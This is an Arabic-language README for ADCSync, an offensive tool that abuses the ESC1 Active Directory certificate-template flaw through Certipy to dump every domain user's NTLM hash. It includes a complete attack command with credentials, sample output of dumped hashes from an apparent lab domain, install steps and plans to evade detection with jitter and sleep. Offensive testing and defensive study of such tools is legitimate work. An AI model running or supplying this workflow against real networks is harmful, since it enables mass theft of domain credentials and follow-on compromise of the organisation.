ADCSsync

هذه أداة قمت بتجميعها بسرعة لتنفيذ DCSync باستخدام ESC1. إنها بطيئة جدًا ولكنها وسيلة فعالة لتنفيذ هجوم DCSync مؤقت دون استخدام DRSUAPI أو Volume Shadow Copy.

هذا هو الإصدار الأول من الأداة، وهو في الأساس يقوم بأتمتة عملية تشغيل Certipy ضد كل مستخدم في المجال. لا تزال الأداة بحاجة إلى الكثير من العمل، وأخطط لإضافة المزيد من الميزات في المستقبل لطرق المصادقة وأتمتة عملية العثور على قالب ضعيف.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

    ___    ____  ___________
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/  |_/_____/\____//____/\__, /_/ /_/\___/
                         /____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00,  1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LOCAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

مقدمة

تستخدم ADCSync استغلال ESC1 لتفريغ تجزئات NTLM من حسابات المستخدمين في بيئة Active Directory. ستقوم الأداة أولاً بجلب كل مستخدم ومجال من ملف تفريغ Bloodhound الذي تم تمريره. بعد ذلك، ستستخدم Certipy لتقديم طلب لكل مستخدم وتخزين ملف PFX الخاص به في دليل الشهادات. وأخيرًا، ستستخدم Certipy للمصادقة باستخدام الشهادة واسترداد تجزئة NT لكل مستخدم. هذه العملية بطيئة جدًا وقد تستغرق وقتًا طويلاً لإكمالها، لكنها تقدم طريقة بديلة لتفريغ تجزئات NTLM.

التثبيت

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

الاستخدام

لاستخدام هذه الأداة، نحتاج إلى الأشياء التالية:

بيانات اعتماد صالحة للمجال.
قائمة مستخدمين من تفريغ Bloodhound سيتم تمريرها.
قالب ضعيف ضد ESC1 (تم العثور عليه باستخدام certipy find).

# python3 adcsync.py --help
    ___    ____  ___________                 
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__  
/_/  |_/_____/\____//____/\__, /_/ /_/\___/  
                         /____/              

Usage: adcsync.py [OPTIONS]

Options:
  -f, --file TEXT      Input User List JSON file from Bloodhound  [required]
  -o, --output TEXT    NTLM Hash Output file  [required]
  -ca TEXT             Certificate Authority  [required]
  -dc-ip TEXT          IP Address of Domain Controller  [required]
  -u, --user TEXT      Username  [required]
  -p, --password TEXT  Password  [required]
  -template TEXT       Template Name vulnerable to ESC1  [required]
  -target-ip TEXT      IP Address of the target machine  [required]
  --help               Show this message and exit.

المهام المستقبلية

دعم طرق مصادقة بديلة مثل تجزئات NTLM وملفات ccache
تشغيل "certipy find" تلقائيًا للعثور على القوالب الضعيفة ضد ESC1 والتقاطها
إضافة خيارات التذبذب (jitter) والإسبات (sleep) لتجنب الكشف
إضافة التحقق من أنواع جميع المتغيرات

شكر وتقدير

puzzlepeaches: لإخباري بالاستعجال في كتابة هذا
ly4k: من أجل Certipy
WazeHell: من أجل السكريبت لإعداد بيئة Active Directory الضعيفة المستخدمة في الاختبار

ADCSync